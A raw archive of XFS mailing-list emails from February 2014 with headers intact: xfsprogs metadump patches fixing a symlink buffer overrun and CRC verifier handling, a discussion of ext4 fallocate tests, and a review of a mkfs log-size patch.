ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 16:55:25 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WJGsv-0002RC-1Z for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:25 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WJGsv-0000Nh-0z for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:25 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] metadump: pathname obfuscation overruns symlink buffer Date: Fri, 28 Feb 2014 17:25:23 +1100 X-ASG-Orig-Subj: [PATCH 3/3] metadump: pathname obfuscation overruns symlink buffer Message-Id: <1393568723-982-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393568723-982-1-git-send-email-david@fromorbit.com> References: <1393568723-982-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393568785 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145594 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner In testing the previous metadump changes, fsstress generated an inline symlink of 336 bytes in length. This caused corruption of the restored filesystem that wasn't present in the original filesystem - it corrupted the magic number of the next inode in the chunk. The reason being that the symlink data is not null terminated in the inode literal area, and hence when the symlink consumes the entire literal area like so: xfs_db> daddr 0x42679 xfs_db> p 000: 494ea1ff 03010000 00000000 00000000 00000001 00000000 00000000 00000000 020: 53101af9 1678d2a8 53101af9 15fec0a8 53101af9 15fec0a8 00000000 00000150 040: 00000000 00000000 00000000 00000000 00000002 00000000 00000000 d868b52d 060: ffffffff 0ce5477a 00000000 00000002 00000002 0000041c 00000000 00000000 080: 00000000 00000000 00000000 00000000 53101af9 15fec0a8 00000000 00042679 0a0: 6c4e9d4e 84944986 a074cffd 0ea042a8 78787878 78787878 78782f78 78787878 0c0: 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 0e0: 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 100: 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 120: 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 140: 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 160: 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 180: 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 1a0: 2f787878 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 1c0: 78787878 78787878 2f787878 78787878 78782f78 78787878 78787878 2f787878 1e0: 78787878 78782f78 78787878 78787878 2f787878 78787878 78782f78 78787878 the symlink data butts right up agains the magic number of the next inode in the chunk. And then, when obfuscation gets to the final pathname component, it gets it's length via: /* last (or single) component */ namelen = strlen((char *)comp); hash = libxfs_da_hashname(comp, namelen); obfuscate_name(hash, namelen, comp); strlen(), which looks for a null terminator and finds it several bytes into the next inode. It then proceeds to obfuscate that length, including the inode magic number of the next inode.... Fix this by ensuring we can't overrun the symlink buffer length by assuming that the symlink is not null terminated. Signed-off-by: Dave Chinner --- db/metadump.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 3248009..cd489a6 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -1015,16 +1015,23 @@ obfuscate_sf_dir( } } +/* + * The pathname may not be null terminated. It name be terminated by the end of + * a buffer or inode literal area, and the start of the next region may contain + * any data at all. Hence when we get to the last component of the symlink, we + * cannot assume that strlen() will give us the right result. Hence we need to + * track the remaining pathname length and use that instead. + */ static void obfuscate_path_components( char *buf, __uint64_t len) { - uchar_t *comp; + uchar_t *comp = (uchar_t *)buf; + uchar_t *end = comp + len; xfs_dahash_t hash; - comp = (uchar_t *)buf; - while (comp < (uchar_t *)buf + len) { + while (comp < end) { char *slash; int namelen; @@ -1032,7 +1039,7 @@ obfuscate_path_components( slash = strchr((char *)comp, '/'); if (!slash) { /* last (or single) component */ - namelen = strlen((char *)comp); + namelen = strnlen((char *)comp, len); hash = libxfs_da_hashname(comp, namelen); obfuscate_name(hash, namelen, comp); break; @@ -1041,11 +1048,13 @@ obfuscate_path_components( /* handle leading or consecutive slashes */ if (!namelen) { comp++; + len--; continue; } hash = libxfs_da_hashname(comp, namelen); obfuscate_name(hash, namelen, comp); comp += namelen + 1; + len -= namelen + 1; } } -- 1.9.0 From dave@fromorbit.com Fri Feb 28 00:26:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B8BD67F51 for ; Fri, 28 Feb 2014 00:26:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8540C8F8037 for ; Thu, 27 Feb 2014 22:26:28 -0800 (PST) X-ASG-Debug-ID: 1393568780-04cb6c5676ec2e0003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id jIRHpMdjsEwBE9o6 for ; Thu, 27 Feb 2014 22:26:26 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjVTAFIrEFN5LJYePGdsb2JhbABagwaIT7pqFwMBAQEBHxkNKIIlAQEFJy8zCBgxOQMHFBmHeMs4F5MTBK4lKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 16:55:25 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WJGsv-0002RB-1C for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:25 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WJGsv-0000Nc-0X for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:25 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] metadump: Only verify obfuscated metadata being dumped Date: Fri, 28 Feb 2014 17:25:22 +1100 X-ASG-Orig-Subj: [PATCH 2/3] metadump: Only verify obfuscated metadata being dumped Message-Id: <1393568723-982-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393568723-982-1-git-send-email-david@fromorbit.com> References: <1393568723-982-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393568786 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145594 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The discontiguous buffer support series added a verifier check on the metadata buffers before they go written to the metadump image. If this failed, it returned an error, and the result would be that we stopped processing the metadata and exited, truncating the dump. xfs_metadump is supposed to dump the metadata in the filesystem for forensic analysis purposes, which means we actually want it to retain any corruptions it finds in the filesystem. Hence running the verifier - even to recalculate CRCs - when the metadata is unmodified is the wrong thing to be doing. And stopping the dump when we come across an error is even worse. We still need to do CRC recalculation when obfuscating names and attributes. Hence we need to make running the verifier conditional on the buffer or inode: a) being uncorrupted when read, and b) modified by the obfuscation code. If either of these conditions is not true, then we don't run the verifier or recalculate the CRCs. Signed-off-by: Dave Chinner --- db/io.h | 1 + db/metadump.c | 61 ++++++++++++++++++++++++++++++++++++++++++++++------------- 2 files changed, 49 insertions(+), 13 deletions(-) diff --git a/db/io.h b/db/io.h index 4f24c83..d8cf383 100644 --- a/db/io.h +++ b/db/io.h @@ -41,6 +41,7 @@ typedef struct iocur { int ino_crc_ok:1; int ino_buf:1; int dquot_buf:1; + int need_crc:1; } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ diff --git a/db/metadump.c b/db/metadump.c index 14902a7..3248009 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -190,26 +190,36 @@ write_buf_segment( return 0; } +/* + * we want to preserve the state of the metadata in the dump - whether it is + * intact or corrupt, so even if the buffer has a verifier attached to it we + * don't want to run it prior to writing the buffer to the metadump image. + * + * The only reason for running the verifier is to recalculate the CRCs on a + * buffer that has been obfuscated. i.e. a buffer than metadump modified itself. + * In this case, we only run the verifier if the buffer was not corrupt to begin + * with so that we don't accidentally correct buffers with CRC or errors in them + * when we are obfuscating them. + */ static int write_buf( iocur_t *buf) { + struct xfs_buf *bp = buf->bp; int i; int ret; /* * Run the write verifier to recalculate the buffer CRCs and check - * we are writing something valid to disk + * metadump didn't introduce a new corruption. Warn if the verifier + * failed, but still continue to dump it into the output file. */ - if (buf->bp && buf->bp->b_ops) { - buf->bp->b_error = 0; - buf->bp->b_ops->verify_write(buf->bp); - if (buf->bp->b_error) { - fprintf(stderr, - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), - __func__, (long long)buf->bp->b_bn, - buf->bp->b_bcount); - return -buf->bp->b_error; + if (buf->need_crc && bp && bp->b_ops && !bp->b_error) { + bp->b_ops->verify_write(bp); + if (bp->b_error) { + print_warning( + "obfuscation corrupted block at bno 0x%llx/0x%x", + (long long)bp->b_bn, bp->b_bcount); } } @@ -1359,12 +1369,15 @@ process_single_fsb_objects( obfuscate_dir_data_block(dp, o, last == mp->m_dirblkfsbs); + iocur_top->need_crc = 1; break; case TYP_SYMLINK: obfuscate_symlink_block(dp); + iocur_top->need_crc = 1; break; case TYP_ATTR: obfuscate_attr_block(dp, o); + iocur_top->need_crc = 1; break; default: break; @@ -1444,6 +1457,7 @@ process_multi_fsb_objects( obfuscate_dir_data_block(iocur_top->data, o, last == mp->m_dirblkfsbs); + iocur_top->need_crc = 1; ret = write_buf(iocur_top); out_pop: pop_cur(); @@ -1724,6 +1738,13 @@ process_inode_data( return 1; } +/* + * when we process the inode, we may change the data in the data and/or + * attribute fork if they are in short form and we are obfuscating names. + * In this case we need to recalculate the CRC of the inode, but we should + * only do that if the CRC in the inode is good to begin with. If the crc + * is not ok, we just leave it alone. + */ static int process_inode( xfs_agnumber_t agno, @@ -1731,17 +1752,30 @@ process_inode( xfs_dinode_t *dip) { int success; + bool crc_was_ok = false; /* no recalc by default */ + bool need_new_crc = false; success = 1; cur_ino = XFS_AGINO_TO_INO(mp, agno, agino); + /* we only care about crc recalculation if we are obfuscating names. */ + if (!dont_obfuscate) { + crc_was_ok = xfs_verify_cksum((char *)dip, + mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc)); + } + /* copy appropriate data fork metadata */ switch (be16_to_cpu(dip->di_mode) & S_IFMT) { case S_IFDIR: success = process_inode_data(dip, TYP_DIR2); + if (dip->di_format == XFS_DINODE_FMT_LOCAL) + need_new_crc = 1; break; case S_IFLNK: success = process_inode_data(dip, TYP_SYMLINK); + if (dip->di_format == XFS_DINODE_FMT_LOCAL) + need_new_crc = 1; break; case S_IFREG: success = process_inode_data(dip, TYP_DATA); @@ -1756,6 +1790,7 @@ process_inode( attr_data.remote_val_count = 0; switch (dip->di_aformat) { case XFS_DINODE_FMT_LOCAL: + need_new_crc = 1; if (!dont_obfuscate) obfuscate_sf_attr(dip); break; @@ -1770,6 +1805,9 @@ process_inode( } nametable_clear(); } + + if (crc_was_ok && need_new_crc) + xfs_dinode_calc_crc(mp, dip); return success; } @@ -1840,9 +1878,6 @@ copy_inode_chunk( if (!process_inode(agno, agino + i, dip)) goto pop_out; - - /* calculate the new CRC for the inode */ - xfs_dinode_calc_crc(mp, dip); } skip_processing: if (write_buf(iocur_top)) -- 1.9.0 From dave@fromorbit.com Fri Feb 28 00:26:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 01E5D7F53 for ; Fri, 28 Feb 2014 00:26:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DE8DB8F8037 for ; Thu, 27 Feb 2014 22:26:25 -0800 (PST) X-ASG-Debug-ID: 1393568780-04cb6c5676ec2e0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id RtLEGbcOlAD2DD2m for ; Thu, 27 Feb 2014 22:26:21 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AilTAFIrEFN5LJYePGdsb2JhbABagwaIT7pqFwMBAQEBHxkNKIMCO4ECAweIJZsrsCSOcoQhBK4lKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 16:55:25 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WJGsv-0002R9-0I for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:25 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WJGsu-0000NU-Vh for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:24 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] metadump: fixes for obfuscated dumps Date: Fri, 28 Feb 2014 17:25:20 +1100 X-ASG-Orig-Subj: [PATCH 0/3] metadump: fixes for obfuscated dumps Message-Id: <1393568723-982-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393568780 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145594 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The single patch to fix verifier failures in metadata dump has grown. I identified a problem with processing of multiple objects in a single buffer which prevented crcs from being calculated correctly on obfuscated buffers. The first patch fixes that. The second patch is the 3rd version ofteh original patch. If fixes the problems that Eric pointed out, and it does the correct thing w.r.t to contiguous blocks of single objects as well as inodes with local format data. The third patch is a fix for a problem that I came across in testing. fsstress left a symlink that consumed the entire inode literal area and so exposed a bug in the path name obfuscation where it failed to correctly recognise the end of the symlink. We don't store symlinks in null terminated form, so the use of strlen to calculate the length of the last componenet was a timebomb waiting to go off... Cheers, Dave. From lczerner@redhat.com Fri Feb 28 06:38:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 814BA7F3F for ; Fri, 28 Feb 2014 06:38:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7B3998F8033 for ; Fri, 28 Feb 2014 04:38:53 -0800 (PST) X-ASG-Debug-ID: 1393591131-04cb6c5675fed70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dxVi5YhdS5LEuMvQ for ; Fri, 28 Feb 2014 04:38:52 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SCcolS013392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 07:38:50 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1SCcl6K017980 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Feb 2014 07:38:49 -0500 Date: Fri, 28 Feb 2014 13:38:47 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: <20140227193533.GB30131@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> <20140226220106.GC29907@dastard> <20140227193533.GB30131@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1662510946-1393591129=:2231" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393591132 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-1662510946-1393591129=:2231 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Fri, 28 Feb 2014, Dave Chinner wrote: > Date: Fri, 28 Feb 2014 06:35:33 +1100 > From: Dave Chinner > To: Lukáš Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Thu, Feb 27, 2014 at 01:03:09PM +0100, Lukáš Czerner wrote: > > On Thu, 27 Feb 2014, Dave Chinner wrote: > > > > xfs/242 fails on ppc64 with latest linus tree > > > > > > OK, that's a different kettle of fish. It's using 64k pages, right? > > > > 64k pages, yes. > .... > > > Yeah, ok, the data in all the files is correct - the md5sums all > > > match. What's different? Just about all unwritten extents are now > > > written (i.e. data) or contain some portion of written extents. > > > > > > So, ZERO_RANGE has the following size threshold for converting > > > blocks to unwritten extents vs just zeroing them: > > > > > > granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); > > > > > > So if this is a 64k page size machine, it's going to have different > > > extent layout compared to a 4k page size machine. The file data will > > > still be the same, the difference will be zeroed blocks instead of > > > unwritten blocks, and that's exactly what we see. > > > > > > IOWs, the result in terms of data the application sees is correct, > > > just the extent layout representing that zeroed data is different. > > > > Ok, so that's yet another difference between xfs and ext4 code which > > makes having generic test even more complicated. > > It actually makes the need for a generic test more important. A > generic test should handle the differences between block/page size > behaviours - the issue is that xfs/242 was written and tested on 4k > page machines, not 64k page machines. > > We've already got the "multiple" code in _generic_test_punch to > increase the size of the regions being worked on, so the simple fix > here is to increase the sizes so that 64k page and 4k page behaviour > is the same and results in the same extent layout. This is the > normal way tests evolve as people run them on different hardware and > configurations.... > > > So as I said before > > I'll make the generic test (using _filter_hole_fiemap) and then ext4 > > specific test as well to really make sure that the extent > > manipulation is right. > > Which ignores the fact that if you turn off zeroout on ext4 then a > generic test can also determine that the extent manipulation is > correct. I really don't see the need for an ext4 specific test > here... I disagree, you assume that there is not a problem with the zeroout code. And if there is, then the test would not be able to catch that. And yes, bug in the zeroout code might affect zero range as well even though we do not normally do zeroout on zero range except block unaligned edges of the range. Also ext4 does not need different testing for different page sizes. That said I usually do ppc64 testing to test the operations with granularity smaller than page size (sub page size zero out etc..). With your proposal this goes away because we would actually test the operation on larger extents - that's not helpful at all. -Lukas > > Cheers, > > Dave. > --8323328-1662510946-1393591129=:2231-- From bfoster@redhat.com Fri Feb 28 07:10:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C0D47F3F for ; Fri, 28 Feb 2014 07:10:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 477AD8F8037 for ; Fri, 28 Feb 2014 05:10:00 -0800 (PST) X-ASG-Debug-ID: 1393592995-04cbb066e71023e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6Bc0ILa5JBPqzfyg for ; Fri, 28 Feb 2014 05:09:56 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SD9sOl012666 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 08:09:54 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SD9rG7009908; Fri, 28 Feb 2014 08:09:54 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 103B0124491; Fri, 28 Feb 2014 08:09:53 -0500 (EST) Date: Fri, 28 Feb 2014 08:09:53 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large Message-ID: <20140228130951.GA21674@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large References: <1393494344-30056-1-git-send-email-david@fromorbit.com> <1393494344-30056-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393494344-30056-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393592996 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Feb 27, 2014 at 08:45:43PM +1100, Dave Chinner wrote: > From: Dave Chinner > > Recent changes to the log size scaling have resulted in using the > default size multiplier for the log size even on small filesystems. > Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation > of the maximum transaction size that the kernel would issues and > that significantly increased the minimum size of the default log. > As such the size of the log on small filesystems was typically > larger than the prefious default, even though the previous default > was still larger than the minimum needed. > > Rework the default log size calculation such that it will use the > original log size default if it is larger than the minimum log size > required, and only use a larger log if the configuration of the > filesystem requires it. > > This is especially obvious in xfs/216, where the default log size is > 10MB all the way up to 16GB filesystems. The current mkfs selects a > log size of 50MB for the same size filesystems and this is > unnecessarily large. > > Return the scaling of the log size for small filesystems to > something similar to what xfs/216 expects. > > Signed-off-by: Dave Chinner > --- The code for the <16GB case still looks funny to me, but we beat that horse to death on irc. ;) I do like the breakdown of logic to select the log size calculation based on the particular situation, and the end result seems to be what we want. The additional comments help too. :) Reviewed-by: Brian Foster > mkfs/xfs_mkfs.c | 48 ++++++++++++++++++++++++++++-------------------- > 1 file changed, 28 insertions(+), 20 deletions(-) > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index d82128c..f7cf394 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -2366,32 +2366,40 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), > } else if (!loginternal && !xi.logdev) { > logblocks = 0; > } else if (loginternal && !logsize) { > - /* > - * With a 2GB max log size, default to maximum size > - * at 4TB. This keeps the same ratio from the older > - * max log size of 128M at 256GB fs size. IOWs, > - * the ratio of fs size to log size is 2048:1. > - */ > - logblocks = (dblocks << blocklog) / 2048; > - logblocks = logblocks >> blocklog; > - logblocks = MAX(min_logblocks, logblocks); > > - /* > - * If the default log size doesn't fit in the AG size, use the > - * minimum log size instead. This ensures small filesystems > - * don't use excessive amounts of space for the log. > - */ > - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { > + if (dblocks < GIGABYTES(1, blocklog)) { > + /* tiny filesystems get minimum sized logs. */ > logblocks = min_logblocks; > + } else if (dblocks < GIGABYTES(16, blocklog)) { > + > + /* > + * For small filesystems, we want to use the > + * XFS_MIN_LOG_BYTES for filesystems smaller than 16G if > + * at all possible, ramping up to 128MB at 256GB. > + */ > + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, > + min_logblocks * XFS_DFL_LOG_FACTOR); > } else { > - logblocks = MAX(logblocks, > - MAX(XFS_DFL_LOG_SIZE, > - min_logblocks * XFS_DFL_LOG_FACTOR)); > + /* > + * With a 2GB max log size, default to maximum size > + * at 4TB. This keeps the same ratio from the older > + * max log size of 128M at 256GB fs size. IOWs, > + * the ratio of fs size to log size is 2048:1. > + */ > + logblocks = (dblocks << blocklog) / 2048; > + logblocks = logblocks >> blocklog; > + logblocks = MAX(min_logblocks, logblocks); > } > + > + /* make sure the log fits wholly within an AG */ > + if (logblocks >= agsize) > + logblocks = min_logblocks; > + > + /* and now clamp the size to the maximum supported size */ > logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); > - if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { > + if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) > logblocks = XFS_MAX_LOG_BYTES >> blocklog; > - } > + > } > validate_log_size(logblocks, blocklog, min_logblocks); > > -- > 1.8.4.rc3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From lczerner@redhat.com Fri Feb 28 10:11:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 413297F3F for ; Fri, 28 Feb 2014 10:11:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C68D3AC008 for ; Fri, 28 Feb 2014 08:11:12 -0800 (PST) X-ASG-Debug-ID: 1393603871-04bdf05dab116e10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id MEpWcD6z8UbUsoih for ; Fri, 28 Feb 2014 08:11:11 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBBCs001351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:11 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com 